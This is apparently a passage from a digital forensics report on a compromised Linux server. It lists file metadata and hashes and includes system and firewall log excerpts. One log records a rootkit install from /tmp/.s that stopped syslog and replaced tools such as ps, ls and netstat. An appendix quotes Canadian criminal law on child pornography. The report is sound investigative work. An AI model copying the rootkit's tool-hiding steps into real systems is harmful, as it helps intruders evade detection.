- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
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- **Physical Size**: 12,288
- **Logical Size**: 11,525

#### Entry 252)
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- **Description**: File
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- **Hash Value**: 174712fef4fb412ad992e992e3a35182
- **Physical Size**: 12,288
- **Logical Size**: 11,525

#### Entry 253)
- **Name**: lsattr
- **Description**: File
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- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 56853d1f05a0a1562c83811c02644930
- **Physical Size**: 12,288
- **Logical Size**: 9,684

#### Entry 254)
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- **Description**: File
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- **Physical Size**: 12,288
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Physical Size 68,608
Logical Size 67,624

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Log files

Log file information

292) Name: cron.1
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Hash Value: f8670b0876691e1f24dde35972127642
Comment: last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293) Name: access_log
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Last Accessed: 06/30/03 04:02:03AM
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Comment: httpd access log

Install log from /tmp/.s directory

294) Name: install.log
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Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger: [ OK ]
Shutting down system logger: [ OK ]
touch: getting attributes of `ps`: No such file or directory
touch: getting attributes of `ls`: No such file or directory

- ps
 PS --> failed
- --top
TOP --> OK
|--- pstree
PSTREE --> failed
|--- --killall
KILLALL --> OK
|----ls-dir-vdir
LS DIR VDIR --> failed
|------find
FIND --> OK
|-------du
DU --> OK
|-------netstat
NETSTAT --> OK
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Logs showing syslog being shutdown on Linux 7.3 system

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Entry Modified | Last Accessed | Last Written | Hash Value

Comment: Victim Logs from log Server - Syslog shutdown

Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(1602,...) failed, errno 1
Jun 29 15:20:57 192.168.2.15 su(pam_unix)[1604]: session opened for user root by (uid=0)
Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Logs after logging shutdown on Linux 7.3 system

Comment: Firewall logs from log Server - After Syslog shutdown

Jun 29 15:20:33 192.168.1.1 id=firwall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 flt_type= ORB flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srctype=1061 dst=207 .66.155.21 dstport=80 interface=sis2 flags=0x2
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Appendix G


163.1 (1) In this section, "child pornography" means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

**Interpretation**

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

**Defence**

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

**Defences**

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

**Other provisions to apply**

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

**Warrant of seizure**

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

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# Upcoming SANS Forensics Training

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